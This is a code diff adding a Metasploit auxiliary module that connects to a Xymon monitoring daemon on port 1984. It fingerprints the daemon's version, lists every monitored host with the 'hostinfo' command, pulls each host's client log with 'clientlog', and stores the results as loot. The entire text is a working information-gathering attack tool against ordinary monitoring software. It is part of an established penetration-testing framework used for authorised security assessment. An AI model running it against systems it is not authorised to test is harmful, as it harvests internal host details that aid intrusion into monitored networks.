Add Xymon Daemon Gather Client Host Information module

modules/auxiliary/gather/xymon_info.rb

@@ -0,0 +1,90 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Report
+
+  def initialize
+    super(
+      'Name'        => 'Xymon Daemon Gather Client Host Information',
+      'Description' => %q{
+        This module retrieves a list of monitored hosts
+        from a Xymon daemon, and retrieves information
+        for each host.
+      },
+      'Author'      => [ 'bcoles' ],
+      'License'     => MSF_LICENSE
+    )
+    register_options [Opt::RPORT(1984)]
+  end
+
+  def xymon_send(cmd)
+    vprint_status "Sending: #{cmd}"
+    connect
+    sock.puts cmd
+    sock.shutdown(1)
+    return sock.get(5)
+  ensure
+    disconnect
+  end
+
+  def run
+    res = xymon_send('ping').to_s
+
+    unless res.starts_with? 'xymond'
+      print_error 'Target is not a Xymon daemon'
+      return
+    end
+
+    version = res.scan(/^xymond ([\d\.]+)/).flatten.first
+
+    unless version
+      print_error 'Could not retrieve Xymon version'
+    end
+
+    print_status "Xymon daemon version #{version}"
+
+    xymond_service = report_service(host: rhost, port: rport, name: 'xymond', proto: 'tcp', info: version)
+
+    res = xymon_send('hostinfo').to_s
+
+    unless res
+      print_error 'Could not retrieve client host list'
+    end
+
+    hosts = res.each_line.map {|line| line.split('|').first}.reject {|host| host.blank?}
+
+    if hosts.empty?
+      print_error 'Found no client hosts'
+      return
+    end
+
+    print_good "Found #{hosts.size} hosts"
+
+    hosts.each do |host|
+      res = xymon_send("clientlog #{host}")
+
+      unless res
+        print_error "Could not retrieve clientlog for #{host}"
+        next
+      end
+
+      path = store_loot(
+        "xymon.hosts.#{host}",
+        'text/plain',
+        target_host,
+        res,
+        nil,
+        "clientlog #{host}",
+        xymond_service
+      )
+      print_status "Loot stored in #{path}"
+    end
+  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+  rescue Timeout::Error => e
+    print_error(e.message)
+  end
+end